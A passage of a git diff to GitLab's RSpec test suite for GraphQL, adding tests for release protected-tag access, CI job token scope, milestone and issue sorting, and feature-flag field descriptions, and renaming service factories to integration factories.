+ let!(:protected_tag) { create(:protected_tag, :maintainers_can_create, name: '*', project: project) }
+
+ it 'has an access error' do
+ subject
+
+ expect(resolve).to include(errors: ['Access Denied'])
+ end
+ end
+ end
+
context 'validation' do
context 'when the release does not exist' do
let(:mutation_arguments) { super().merge(tag: 'not-a-real-release') }
@@ -76,8 +100,8 @@ RSpec.describe Mutations::Releases::Delete do
end
context "when the current user doesn't have access to update releases" do
- context 'when the user is a developer' do
- let(:current_user) { developer }
+ context 'when the user is a reporter' do
+ let(:current_user) { reporter }
it_behaves_like 'unauthorized or not found error'
end
diff --git a/spec/graphql/mutations/releases/update_spec.rb b/spec/graphql/mutations/releases/update_spec.rb
index c541afd53a1..5ee63ac4dc2 100644
--- a/spec/graphql/mutations/releases/update_spec.rb
+++ b/spec/graphql/mutations/releases/update_spec.rb
@@ -107,6 +107,28 @@ RSpec.describe Mutations::Releases::Update do
end
it_behaves_like 'no changes to the release except for the', :name
+
+ context 'with protected tag' do
+ context 'when user has access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :developers_can_create, name: '*', project: project) }
+
+ it 'does not have errors' do
+ subject
+
+ expect(resolve).to include(errors: [])
+ end
+ end
+
+ context 'when user does not have access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :maintainers_can_create, name: '*', project: project) }
+
+ it 'has an access error' do
+ subject
+
+ expect(resolve).to include(errors: ['Access Denied'])
+ end
+ end
+ end
end
context 'when nil is provided' do
diff --git a/spec/graphql/mutations/security/ci_configuration/base_security_analyzer_spec.rb b/spec/graphql/mutations/security/ci_configuration/base_security_analyzer_spec.rb
new file mode 100644
index 00000000000..818a7d303bd
--- /dev/null
+++ b/spec/graphql/mutations/security/ci_configuration/base_security_analyzer_spec.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Mutations::Security::CiConfiguration::BaseSecurityAnalyzer do
+ include GraphqlHelpers
+
+ it 'raises a NotImplementedError error if the resolve method is called on the base class' do
+ user = create(:user)
+ project = create(:project, :public, :repository)
+ project.add_developer(user)
+ expect { resolve(described_class, args: { project_path: project.full_path }, ctx: { current_user: user }) }.to raise_error(NotImplementedError)
+ end
+end
diff --git a/spec/graphql/resolvers/alert_management/http_integrations_resolver_spec.rb b/spec/graphql/resolvers/alert_management/http_integrations_resolver_spec.rb
index a4d1101bc4f..0f40565c5d3 100644
--- a/spec/graphql/resolvers/alert_management/http_integrations_resolver_spec.rb
+++ b/spec/graphql/resolvers/alert_management/http_integrations_resolver_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe Resolvers::AlertManagement::HttpIntegrationsResolver do
let_it_be(:developer) { create(:user) }
let_it_be(:maintainer) { create(:user) }
let_it_be(:project) { create(:project) }
- let_it_be(:prometheus_integration) { create(:prometheus_service, project: project) }
+ let_it_be(:prometheus_integration) { create(:prometheus_integration, project: project) }
let_it_be(:active_http_integration) { create(:alert_management_http_integration, project: project) }
let_it_be(:inactive_http_integration) { create(:alert_management_http_integration, :inactive, project: project) }
let_it_be(:other_proj_integration) { create(:alert_management_http_integration) }
diff --git a/spec/graphql/resolvers/alert_management/integrations_resolver_spec.rb b/spec/graphql/resolvers/alert_management/integrations_resolver_spec.rb
index fb0fb6729d4..11114d41522 100644
--- a/spec/graphql/resolvers/alert_management/integrations_resolver_spec.rb
+++ b/spec/graphql/resolvers/alert_management/integrations_resolver_spec.rb
@@ -8,11 +8,11 @@ RSpec.describe Resolvers::AlertManagement::IntegrationsResolver do
let_it_be(:current_user) { create(:user) }
let_it_be(:project) { create(:project) }
let_it_be(:project2) { create(:project) }
- let_it_be(:prometheus_integration) { create(:prometheus_service, project: project) }
+ let_it_be(:prometheus_integration) { create(:prometheus_integration, project: project) }
let_it_be(:active_http_integration) { create(:alert_management_http_integration, project: project) }
let_it_be(:inactive_http_integration) { create(:alert_management_http_integration, :inactive, project: project) }
let_it_be(:other_proj_integration) { create(:alert_management_http_integration, project: project2) }
- let_it_be(:other_proj_prometheus_integration) { create(:prometheus_service, project: project2) }
+ let_it_be(:other_proj_prometheus_integration) { create(:prometheus_integration, project: project2) }
let(:params) { {} }
diff --git a/spec/graphql/resolvers/ci/config_resolver_spec.rb b/spec/graphql/resolvers/ci/config_resolver_spec.rb
index 73e9fab9f99..97eee749290 100644
--- a/spec/graphql/resolvers/ci/config_resolver_spec.rb
+++ b/spec/graphql/resolvers/ci/config_resolver_spec.rb
@@ -15,14 +15,15 @@ RSpec.describe Resolvers::Ci::ConfigResolver do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, :repository, creator: user, namespace: user.namespace) }
+ let_it_be(:sha) { nil }
subject(:response) do
resolve(described_class,
- args: { project_path: project.full_path, content: content },
+ args: { project_path: project.full_path, content: content, sha: sha },
ctx: { current_user: user })
end
- context 'with a valid .gitlab-ci.yml' do
+ shared_examples 'a valid config file' do
let(:fake_result) do
::Gitlab::Ci::Lint::Result.new(
merged_yaml: content,
@@ -37,9 +38,22 @@ RSpec.describe Resolvers::Ci::ConfigResolver do
end
it 'lints the ci config file and returns the merged yaml file' do
- expect(response[:merged_yaml]).to eq(content)
expect(response[:status]).to eq(:valid)
+ expect(response[:merged_yaml]).to eq(content)
expect(response[:errors]).to be_empty
+ expect(::Gitlab::Ci::Lint).to have_received(:new).with(current_user: user, project: project, sha: sha)
+ end
+ end
+
+ context 'with a valid .gitlab-ci.yml' do
+ context 'with a sha' do
+ let(:sha) { '1231231' }
+
+ it_behaves_like 'a valid config file'
+ end
+
+ context 'without a sha' do
+ it_behaves_like 'a valid config file'
end
end
diff --git a/spec/graphql/resolvers/ci/job_token_scope_resolver_spec.rb b/spec/graphql/resolvers/ci/job_token_scope_resolver_spec.rb
new file mode 100644
index 00000000000..8522542498d
--- /dev/null
+++ b/spec/graphql/resolvers/ci/job_token_scope_resolver_spec.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::Ci::JobTokenScopeResolver do
+ include GraphqlHelpers
+
+ let_it_be(:current_user) { create(:user) }
+ let_it_be(:project) { create(:project, ci_job_token_scope_enabled: true).tap(&:save!) }
+
+ specify do
+ expect(described_class).to have_nullable_graphql_type(::Types::Ci::JobTokenScopeType)
+ end
+
+ subject(:resolve_scope) { resolve(described_class, ctx: { current_user: current_user }, obj: project) }
+
+ describe '#resolve' do
+ context 'with access to scope' do
+ before do
+ project.add_user(current_user, :maintainer)
+ end
+
+ it 'returns nil when scope is not enabled' do
+ allow(project).to receive(:ci_job_token_scope_enabled?).and_return(false)
+
+ expect(resolve_scope).to eq(nil)
+ end
+
+ it 'returns the same project in the allow list of projects for the Ci Job Token' do
+ expect(resolve_scope.all_projects).to contain_exactly(project)
+ end
+
+ context 'when another projects gets added to the allow list' do
+ let!(:link) { create(:ci_job_token_project_scope_link, source_project: project) }
+
+ it 'returns both projects' do
+ expect(resolve_scope.all_projects).to contain_exactly(project, link.target_project)
+ end
+ end
+
+ context 'when job token scope is disabled' do
+ before do
+ project.update!(ci_job_token_scope_enabled: false)
+ end
+
+ it 'returns nil' do
+ expect(resolve_scope).to be_nil
+ end
+ end
+ end
+
+ context 'without access to scope' do
+ before do
+ project.add_user(current_user, :developer)
+ end
+
+ it 'raises error' do
+ expect do
+ resolve_scope
+ end.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+ end
+end
diff --git a/spec/graphql/resolvers/group_milestones_resolver_spec.rb b/spec/graphql/resolvers/group_milestones_resolver_spec.rb
index 78d89054efd..acfc8313407 100644
--- a/spec/graphql/resolvers/group_milestones_resolver_spec.rb
+++ b/spec/graphql/resolvers/group_milestones_resolver_spec.rb
@@ -3,6 +3,7 @@
require 'spec_helper'
RSpec.describe Resolvers::GroupMilestonesResolver do
+ using RSpec::Parameterized::TableSyntax
include GraphqlHelpers
describe '#resolve' do
@@ -79,6 +80,24 @@ RSpec.describe Resolvers::GroupMilestonesResolver do
end
end
+ context 'by sort' do
+ it 'calls MilestonesFinder with correct parameters' do
+ expect(MilestonesFinder).to receive(:new)
+ .with(args(group_ids: group.id, state: 'all', sort: :due_date_desc))
+ .and_call_original
+
+ resolve_group_milestones(sort: :due_date_desc)
+ end
+
+ %i[expired_last_due_date_asc expired_last_due_date_desc].each do |sort_by|
+ it "uses offset-pagination when sorting by #{sort_by}" do
+ resolved = resolve_group_milestones(sort: sort_by)
+
+ expect(resolved).to be_a(::Gitlab::Graphql::Pagination::OffsetActiveRecordRelationConnection)
+ end
+ end
+ end
+
context 'by timeframe' do
context 'when start_date and end_date are present' do
context 'when start date is after end_date' do
diff --git a/spec/graphql/resolvers/issues_resolver_spec.rb b/spec/graphql/resolvers/issues_resolver_spec.rb
index 7c2ceb50066..9b329e961cc 100644
--- a/spec/graphql/resolvers/issues_resolver_spec.rb
+++ b/spec/graphql/resolvers/issues_resolver_spec.rb
@@ -290,6 +290,42 @@ RSpec.describe Resolvers::IssuesResolver do
expect(resolve_issues(sort: :severity_desc).to_a).to eq([issue_high_severity, issue_low_severity, issue_no_severity])
end
end
+
+ context 'when sorting by popularity' do
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:issue1) { create(:issue, project: project) } # has one upvote
+ let_it_be(:issue2) { create(:issue, project: project) } # has two upvote
+ let_it_be(:issue3) { create(:issue, project: project) }
+ let_it_be(:issue4) { create(:issue, project: project) } # has one upvote
+
+ before do
+ create(:award_emoji, :upvote, awardable: issue1)
+ create(:award_emoji, :upvote, awardable: issue2)
+ create(:award_emoji, :upvote, awardable: issue2)
+ create(:award_emoji, :upvote, awardable: issue4)
+ end
+
+ it 'sorts issues ascending (ties broken by id in desc order)' do
+ expect(resolve_issues(sort: :popularity_asc).to_a).to eq([issue3, issue4, issue1, issue2])
+ end
+
+ it 'sorts issues descending (ties broken by id in desc order)' do
+ expect(resolve_issues(sort: :popularity_desc).to_a).to eq([issue2, issue4, issue1, issue3])
+ end
+ end
+
+ context 'when sorting with non-stable cursors' do
+ %i[priority_asc priority_desc
+ popularity_asc popularity_desc
+ label_priority_asc label_priority_desc
+ milestone_due_asc milestone_due_desc].each do |sort_by|
+ it "uses offset-pagination when sorting by #{sort_by}" do
+ resolved = resolve_issues(sort: sort_by)
+
+ expect(resolved).to be_a(::Gitlab::Graphql::Pagination::OffsetActiveRecordRelationConnection)
+ end
+ end
+ end
end
it 'returns issues user can see' do
diff --git a/spec/graphql/resolvers/project_milestones_resolver_spec.rb b/spec/graphql/resolvers/project_milestones_resolver_spec.rb
index b641a54393e..e168291c804 100644
--- a/spec/graphql/resolvers/project_milestones_resolver_spec.rb
+++ b/spec/graphql/resolvers/project_milestones_resolver_spec.rb
@@ -71,6 +71,24 @@ RSpec.describe Resolvers::ProjectMilestonesResolver do
end
end
+ context 'by sort' do
+ it 'calls MilestonesFinder with correct parameters' do
+ expect(MilestonesFinder).to receive(:new)
+ .with(args(project_ids: project.id, state: 'all', sort: :due_date_desc))
+ .and_call_original
+
+ resolve_project_milestones(sort: :due_date_desc)
+ end
+
+ %i[expired_last_due_date_asc expired_last_due_date_desc].each do |sort_by|
+ it "uses offset-pagination when sorting by #{sort_by}" do
+ resolved = resolve_project_milestones(sort: sort_by)
+
+ expect(resolved).to be_a(::Gitlab::Graphql::Pagination::OffsetActiveRecordRelationConnection)
+ end
+ end
+ end
+
context 'by timeframe' do
context 'when start_date and end_date are present' do
it 'calls MilestonesFinder with correct parameters' do
diff --git a/spec/graphql/resolvers/projects/jira_projects_resolver_spec.rb b/spec/graphql/resolvers/projects/jira_projects_resolver_spec.rb
index c375345250d..8c36153d485 100644
--- a/spec/graphql/resolvers/projects/jira_projects_resolver_spec.rb
+++ b/spec/graphql/resolvers/projects/jira_projects_resolver_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe Resolvers::Projects::JiraProjectsResolver do
end
context 'when project has no Jira service' do
- let_it_be(:jira_service) { nil }
+ let_it_be(:jira_integration) { nil }
context 'when user is a maintainer' do
before do
@@ -34,7 +34,7 @@ RSpec.describe Resolvers::Projects::JiraProjectsResolver do
end
context 'when project has Jira service' do
- let(:jira_service) { create(:jira_service, project: project) }
+ let(:jira_integration) { create(:jira_integration, project: project) }
context 'when user is a developer' do
before do
@@ -98,6 +98,6 @@ RSpec.describe Resolvers::Projects::JiraProjectsResolver do
end
def resolve_jira_projects(args = {}, context = { current_user: user })
- resolve(described_class, obj: jira_service, args: args, ctx: context)
+ resolve(described_class, obj: jira_integration, args: args, ctx: context)
end
end
diff --git a/spec/graphql/resolvers/projects/services_resolver_spec.rb b/spec/graphql/resolvers/projects/services_resolver_spec.rb
index a1b631113b2..6da99c8448e 100644
--- a/spec/graphql/resolvers/projects/services_resolver_spec.rb
+++ b/spec/graphql/resolvers/projects/services_resolver_spec.rb
@@ -40,7 +40,7 @@ RSpec.describe Resolvers::Projects::ServicesResolver do
context 'when project has services' do
let_it_be(:project) { create(:project, :private) }
- let_it_be(:jira_service) { create(:jira_service, project: project) }
+ let_it_be(:jira_integration) { create(:jira_integration, project: project) }
context 'when user cannot access services' do
context 'when anonymous user' do
diff --git a/spec/graphql/resolvers/projects_resolver_spec.rb b/spec/graphql/resolvers/projects_resolver_spec.rb
index 2f2aacb9ad5..2685115d1a2 100644
--- a/spec/graphql/resolvers/projects_resolver_spec.rb
+++ b/spec/graphql/resolvers/projects_resolver_spec.rb
@@ -27,10 +27,6 @@ RSpec.describe Resolvers::ProjectsResolver do
private_group.add_developer(user)
end
- before do
- stub_feature_flags(project_finder_similarity_sort: false)
- end
-
context 'when user is not logged in' do
let(:current_user) { nil }
@@ -83,6 +79,7 @@ RSpec.describe Resolvers::ProjectsResolver do
context 'when user is logged in' do
let(:current_user) { user }
+ let(:visible_projecs) { [project, other_project, group_project, private_project, private_group_project] }
context 'when no filters are applied' do
it 'returns all visible projects for the user' do
@@ -129,21 +126,24 @@ RSpec.describe Resolvers::ProjectsResolver do
end
end
- context 'when sort is similarity' do
+ context 'when sorting' do
let_it_be(:named_project1) { create(:project, :public, name: 'projAB', path: 'projAB') }
let_it_be(:named_project2) { create(:project, :public, name: 'projABC', path: 'projABC') }
let_it_be(:named_project3) { create(:project, :public, name: 'projA', path: 'projA') }
+ let_it_be(:named_projects) { [named_project1, named_project2, named_project3] }
- let(:filters) { { search: 'projA', sort: 'similarity' } }
-
- it 'returns projects in order of similarity to search' do
- stub_feature_flags(project_finder_similarity_sort: current_user)
+ context 'when sorting by similarity' do
+ let(:filters) { { search: 'projA', sort: 'similarity' } }
- is_expected.to eq([named_project3, named_project1, named_project2])
+ it 'returns projects in order of similarity to search' do
+ is_expected.to eq([named_project3, named_project1, named_project2])
+ end
end
- it 'returns projects in any order if flag is off' do
- is_expected.to match_array([named_project3, named_project1, named_project2])
+ context 'when no sort is provided' do
+ it 'returns projects in descending order by id' do
+ is_expected.to match_array((visible_projecs + named_projects).sort_by { |p| p[:id]}.reverse )
+ end
end
end
diff --git a/spec/graphql/types/alert_management/prometheus_integration_type_spec.rb b/spec/graphql/types/alert_management/prometheus_integration_type_spec.rb
index d057afb331c..31cf94aef44 100644
--- a/spec/graphql/types/alert_management/prometheus_integration_type_spec.rb
+++ b/spec/graphql/types/alert_management/prometheus_integration_type_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe GitlabSchema.types['AlertManagementPrometheusIntegration'] do
end
end
- let_it_be_with_reload(:integration) { create(:prometheus_service) }
+ let_it_be_with_reload(:integration) { create(:prometheus_integration) }
let_it_be(:user) { create(:user, maintainer_projects: [integration.project]) }
it_behaves_like 'has field with value', 'name' do
@@ -50,7 +50,7 @@ RSpec.describe GitlabSchema.types['AlertManagementPrometheusIntegration'] do
describe 'a group integration' do
let_it_be(:group) { create(:group) }
- let_it_be(:integration) { create(:prometheus_service, project: nil, group: group) }
+ let_it_be(:integration) { create(:prometheus_integration, project: nil, group: group) }
# Since it is impossible to authorize the parent here, given that the
# project is nil, all fields should be redacted:
diff --git a/spec/graphql/types/base_field_spec.rb b/spec/graphql/types/base_field_spec.rb
index 54b59317b55..c34fbf42dd8 100644
--- a/spec/graphql/types/base_field_spec.rb
+++ b/spec/graphql/types/base_field_spec.rb
@@ -130,14 +130,25 @@ RSpec.describe Types::BaseField do
skip_feature_flags_yaml_validation
end
- it 'returns false if the feature is not enabled' do
- stub_feature_flags(flag => false)
-
- expect(field.visible?(context)).to eq(false)
+ it 'checks YAML definition for default_enabled' do
+ # Exception is indicative of a check for YAML definition
+ expect { field.visible?(context) }.to raise_error(Feature::InvalidFeatureFlagError, /The feature flag YAML definition for '#{flag}' does not exist/)
end
- it 'returns true if the feature is enabled' do
- expect(field.visible?(context)).to eq(true)
+ context 'skipping YAML check' do
+ before do
+ skip_default_enabled_yaml_check
+ end
+
+ it 'returns false if the feature is not enabled' do
+ stub_feature_flags(flag => false)
+
+ expect(field.visible?(context)).to eq(false)
+ end
+
+ it 'returns true if the feature is enabled' do
+ expect(field.visible?(context)).to eq(true)
+ end
end
end
end
@@ -149,17 +160,17 @@ RSpec.describe Types::BaseField do
let(:flag) { :test_flag }
it 'prepends the description' do
- expect(field.description). to eq 'Test description. Available only when feature flag `test_flag` is enabled.'
+ expect(field.description).to start_with 'Test description. Available only when feature flag `test_flag` is enabled.'
end
context 'falsey feature_flag values' do
using RSpec::Parameterized::TableSyntax
- where(:flag, :feature_value) do
- '' | false
- '' | true
- nil | false
- nil | true
+ where(:flag, :feature_value, :default_enabled) do
+ '' | false | false
+ '' | true | false
+ nil | false | true
+ nil | true | false
end
with_them do
@@ -168,6 +179,33 @@ RSpec.describe Types::BaseField do
end
end
end
+
+ context 'with different default_enabled values' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:feature_value, :default_enabled, :expected_description) do
+ disabled_ff_description = "Test description. Available only when feature flag `test_flag` is enabled. This flag is disabled by default, because the feature is experimental and is subject to change without notice."
+ enabled_ff_description = "Test description. Available only when feature flag `test_flag` is enabled. This flag is enabled by default."
+
+ false | false | disabled_ff_description
+ true | false | disabled_ff_description
+ false | true | enabled_ff_description
+ true | true | enabled_ff_description
+ end
+
+ with_them do
+ before do
+ stub_feature_flags("#{flag}": feature_value)
+
+ allow(Feature::Definition).to receive(:has_definition?).with(flag).and_return(true)
+ allow(Feature::Definition).to receive(:default_enabled?).and_return(default_enabled)
+ end
+
+ it 'returns the correct availability in the description' do
+ expect(field.description). to eq expected_description
+ end
+ end
+ end
end
end
@@ -185,9 +223,8 @@ RSpec.describe Types::BaseField do
feature_flag: 'foo_flag'
)
- expectation = 'Field description. Available only when feature flag `foo_flag` is enabled. Deprecated in 1.10: Deprecation reason.'
-
- expect(field.description).to eq(expectation)
+ expect(field.description).to start_with('Field description. Available only when feature flag `foo_flag` is enabled.')
+ expect(field.description).to end_with('Deprecated in 1.10: Deprecation reason.')
end
end
end
diff --git a/spec/graphql/types/ci/detailed_status_type_spec.rb b/spec/graphql/types/ci/detailed_status_type_spec.rb
index 9fa3280657a..5ed79b73a47 100644
--- a/spec/graphql/types/ci/detailed_status_type_spec.rb
+++ b/spec/graphql/types/ci/detailed_status_type_spec.rb
@@ -8,14 +8,26 @@ RSpec.describe Types::Ci::DetailedStatusType do
specify { expect(described_class.graphql_name).to eq('DetailedStatus') }
it 'has all fields' do
- expect(described_class).to have_graphql_fields(:group, :icon, :favicon,
+ expect(described_class).to have_graphql_fields(:id, :group, :icon, :favicon,
:details_path, :has_details,
:label, :text, :tooltip, :action)
end
+ let_it_be(:stage) { create(:ci_stage_entity, status: :skipped) }
+
+ describe 'id field' do
+ it 'correctly renders the field' do
+ parent_object = double(:parent_object, object: stage)
+ parent = double(:parent, object: parent_object)
+ status = stage.detailed_status(stage.pipeline.user)
+ expected_id = "#{status.id}-#{stage.id}"
+
+ expect(resolve_field('id', status, extras: { parent: parent })).to eq(expected_id)
+ end
+ end
+
describe 'action field' do
it 'correctly renders the field' do
- stage = create(:ci_stage_entity, status: :skipped)
status = stage.detailed_status(stage.pipeline.user)
expected_status = {
diff --git a/spec/graphql/types/ci/group_type_spec.rb b/spec/graphql/types/ci/group_type_spec.rb
index d7ce5602612..f563b31342f 100644
--- a/spec/graphql/types/ci/group_type_spec.rb
+++ b/spec/graphql/types/ci/group_type_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Types::Ci::GroupType do
it 'exposes the expected fields' do
expected_fields = %i[
+ id
name
size
jobs
diff --git a/spec/graphql/types/ci/job_token_scope_type_spec.rb b/spec/graphql/types/ci/job_token_scope_type_spec.rb
new file mode 100644
index 00000000000..19a8cc324f9
--- /dev/null
+++ b/spec/graphql/types/ci/job_token_scope_type_spec.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['CiJobTokenScopeType'] do
+ specify { expect(described_class.graphql_name).to eq('CiJobTokenScopeType') }
+
+ it 'has the correct fields' do
+ expected_fields = [:projects]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+
+ describe 'query' do
+ let_it_be(:project) { create(:project, ci_job_token_scope_enabled: true).tap(&:save!) }
+ let_it_be(:current_user) { create(:user) }
+
+ let(:query) do
+ %(
+ query {
+ project(fullPath: "#{project.full_path}") {
+ ciJobTokenScope {
+ projects {
+ nodes {
+ path
+ }
+ }
+ }
+ }
+ }
+ )
+ end
+
+ subject { GitlabSchema.execute(query, context: { current_user: current_user }).as_json }
+
+ let(:projects_field) { subject.dig('data', 'project', 'ciJobTokenScope', 'projects', 'nodes') }
+ let(:returned_project_paths) { projects_field.map { |project| project['path']} }
+
+ context 'with access to scope' do
+ before do
+ project.add_user(current_user, :maintainer)
+ end
+
+ context 'when multiple projects in the allow list' do
+ let!(:link) { create(:ci_job_token_project_scope_link, source_project: project) }
+
+ context 'when linked projects are readable' do
+ before do
+ link.target_project.add_user(current_user, :developer)
+ end
+
+ it 'returns readable projects in scope' do
+ expect(returned_project_paths).to contain_exactly(project.path, link.target_project.path)
+ end
+ end
+
+ context 'when linked project is not readable' do
+ it 'returns readable projects in scope' do
+ expect(returned_project_paths).to contain_exactly(project.path)
+ end
+ end
+
+ context 'when job token scope is disabled' do
+ before do
+ project.ci_cd_settings.update!(job_token_scope_enabled: false)
+ end
+
+ it 'returns nil' do
+ expect(subject.dig('data', 'project', 'ciJobTokenScope')).to be_nil
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/graphql/types/ci/pipeline_type_spec.rb b/spec/graphql/types/ci/pipeline_type_spec.rb
index 35d48229fa4..9ba4252bcd5 100644
--- a/spec/graphql/types/ci/pipeline_type_spec.rb
+++ b/spec/graphql/types/ci/pipeline_type_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe Types::Ci::PipelineType do
coverage created_at updated_at started_at finished_at committed_at
stages user retryable cancelable jobs source_job job downstream
upstream path project active user_permissions warnings commit_path uses_needs
- test_report_summary test_suite
+ test_report_summary test_suite ref
]
if Gitlab.ee?
diff --git a/spec/graphql/types/ci/runner_type_spec.rb b/spec/graphql/types/ci/runner_type_spec.rb
index f27216f4d39..cff4c459d79 100644
--- a/spec/graphql/types/ci/runner_type_spec.rb
+++ b/spec/graphql/types/ci/runner_type_spec.rb
@@ -11,6 +11,7 @@ RSpec.describe GitlabSchema.types['CiRunner'] do
expected_fields = %w[
id description contacted_at maximum_timeout access_level active status
version short_sha revision locked run_untagged ip_address runner_type tag_list
+ project_count job_count
]
expect(described_class).to include_graphql_fields(*expected_fields)
diff --git a/spec/graphql/types/ci/stage_type_spec.rb b/spec/graphql/types/ci/stage_type_spec.rb
index cb8c1cb02cd..48c569eca16 100644
--- a/spec/graphql/types/ci/stage_type_spec.rb
+++ b/spec/graphql/types/ci/stage_type_spec.rb
@@ -7,9 +7,11 @@ RSpec.describe Types::Ci::StageType do
it 'exposes the expected fields' do
expected_fields = %i[
+ id
name
groups
detailedStatus
+ status
jobs
]
diff --git a/spec/graphql/types/ci/status_action_type_spec.rb b/spec/graphql/types/ci/status_action_type_spec.rb
index 8a99068e44f..ab7dee3dd11 100644
--- a/spec/graphql/types/ci/status_action_type_spec.rb
+++ b/spec/graphql/types/ci/status_action_type_spec.rb
@@ -3,10 +3,13 @@
require 'spec_helper'
RSpec.describe Types::Ci::StatusActionType do
+ include GraphqlHelpers
+
specify { expect(described_class.graphql_name).to eq('StatusAction') }
it 'exposes the expected fields' do
expected_fields = %i[
+ id
buttonTitle
icon
path
@@ -16,4 +19,21 @@ RSpec.describe Types::Ci::StatusActionType do
expect(described_class).to have_graphql_fields(*expected_fields)
end
+
+ describe 'id field' do
+ it 'correctly renders the field' do
+ stage = build(:ci_stage_entity, status: :skipped)
+ status = stage.detailed_status(stage.pipeline.user)
+
+ grandparent_object = double(:grandparent_object, object: stage)
+ parent_object = double(:parent_object, object: status)
+
+ grandparent = double(:parent, object: grandparent_object)
+ parent = double(:parent, object: parent_object, parent: grandparent)
+
+ expected_id = "#{stage.class.name}-#{status.id}"
+
+ expect(resolve_field('id', status, extras: { parent: parent })).to eq(expected_id)
+ end
+ end
end
diff --git a/spec/graphql/types/deployment_tier_enum_spec.rb b/spec/graphql/types/deployment_tier_enum_spec.rb
new file mode 100644
index 00000000000..752bf895d74
--- /dev/null
+++ b/spec/graphql/types/deployment_tier_enum_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::DeploymentTierEnum do
+ it 'includes a value for each supported environment tier' do
+ expect(described_class.values).to match(
+ 'PRODUCTION' => have_attributes(value: :production),
+ 'STAGING' => have_attributes(value: :staging),
+ 'TESTING' => have_attributes(value: :testing),
+ 'DEVELOPMENT' => have_attributes(value: :development),
+ 'OTHER' => have_attributes(value: :other)
+ )
+ end
+end
diff --git a/spec/graphql/types/global_id_type_spec.rb b/spec/graphql/types/global_id_type_spec.rb
index 37f59770817..cdf09dd9cc9 100644
--- a/spec/graphql/types/global_id_type_spec.rb
+++ b/spec/graphql/types/global_id_type_spec.rb
@@ -3,7 +3,6 @@
require 'spec_helper'
RSpec.describe Types::GlobalIDType do
- include ::Gitlab::Graphql::Laziness
include GraphqlHelpers
include GlobalIDDeprecationHelpers
@@ -103,7 +102,7 @@ RSpec.describe Types::GlobalIDType do
end
context 'with a deprecation' do
- around(:all) do |example|
+ around do |example|
# Unset all previously memoized GlobalIDTypes to allow us to define one
# that will use the constants stubbed in the `before` block.
previous_id_types = Types::GlobalIDType.instance_variable_get(:@id_types)
diff --git a/spec/graphql/types/issuable_searchable_field_enum_spec.rb b/spec/graphql/types/issuable_searchable_field_enum_spec.rb
new file mode 100644
index 00000000000..13e1b55ac7b
--- /dev/null
+++ b/spec/graphql/types/issuable_searchable_field_enum_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::IssuableSearchableFieldEnum do
+ specify { expect(described_class.graphql_name).to eq('IssuableSearchableField') }
+
+ it 'exposes all the issuable searchable fields' do
+ expect(described_class.values.keys).to contain_exactly(
+ *Issuable::SEARCHABLE_FIELDS.map(&:upcase)
+ )
+ end
+end
diff --git a/spec/graphql/types/issue_type_spec.rb b/spec/graphql/types/issue_type_spec.rb
index 6908a610aae..a117741b3a2 100644
--- a/spec/graphql/types/issue_type_spec.rb
+++ b/spec/graphql/types/issue_type_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe GitlabSchema.types['Issue'] do
specify { expect(described_class).to require_graphql_authorizations(:read_issue) }
- specify { expect(described_class.interfaces).to include(Types::Notes::NoteableType) }
+ specify { expect(described_class.interfaces).to include(Types::Notes::NoteableInterface) }
specify { expect(described_class.interfaces).to include(Types::CurrentUserTodos) }
@@ -18,7 +18,7 @@ RSpec.describe GitlabSchema.types['Issue'] do
confidential discussion_locked upvotes downvotes user_notes_count user_discussions_count web_path web_url relative_position
emails_disabled subscribed time_estimate total_time_spent human_time_estimate human_total_time_spent closed_at created_at updated_at task_completion_status
design_collection alert_management_alert severity current_user_todos moved moved_to
- create_note_email timelogs]
+ create_note_email timelogs project_id]
fields.each do |field_name|
expect(described_class).to have_graphql_field(field_name)
diff --git a/spec/graphql/types/merge_request_type_spec.rb b/spec/graphql/types/merge_request_type_spec.rb
index 875a16a79e5..bc3ccb0d9ba 100644
--- a/spec/graphql/types/merge_request_type_spec.rb
+++ b/spec/graphql/types/merge_request_type_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe GitlabSchema.types['MergeRequest'] do
specify { expect(described_class).to require_graphql_authorizations(:read_merge_request) }
- specify { expect(described_class.interfaces).to include(Types::Notes::NoteableType) }
+ specify { expect(described_class.interfaces).to include(Types::Notes::NoteableInterface) }
specify { expect(described_class.interfaces).to include(Types::CurrentUserTodos) }
diff --git a/spec/graphql/types/milestone_type_spec.rb b/spec/graphql/types/milestone_type_spec.rb
index 5c2ae5cea3c..f00acb3f7cf 100644
--- a/spec/graphql/types/milestone_type_spec.rb
+++ b/spec/graphql/types/milestone_type_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe GitlabSchema.types['Milestone'] do
it 'has the expected fields' do
expected_fields = %w[
- id iid title description state web_path
+ id iid title description state expired web_path
due_date start_date created_at updated_at
project_milestone group_milestone subgroup_milestone
stats
diff --git a/spec/graphql/types/notes/discussion_type_spec.rb b/spec/graphql/types/notes/discussion_type_spec.rb
index 37ed861d069..5290c1e2eb6 100644
--- a/spec/graphql/types/notes/discussion_type_spec.rb
+++ b/spec/graphql/types/notes/discussion_type_spec.rb
@@ -13,6 +13,7 @@ RSpec.describe GitlabSchema.types['Discussion'] do
resolved
resolved_at
resolved_by
+ noteable
]
expect(described_class).to have_graphql_fields(*expected_fields)
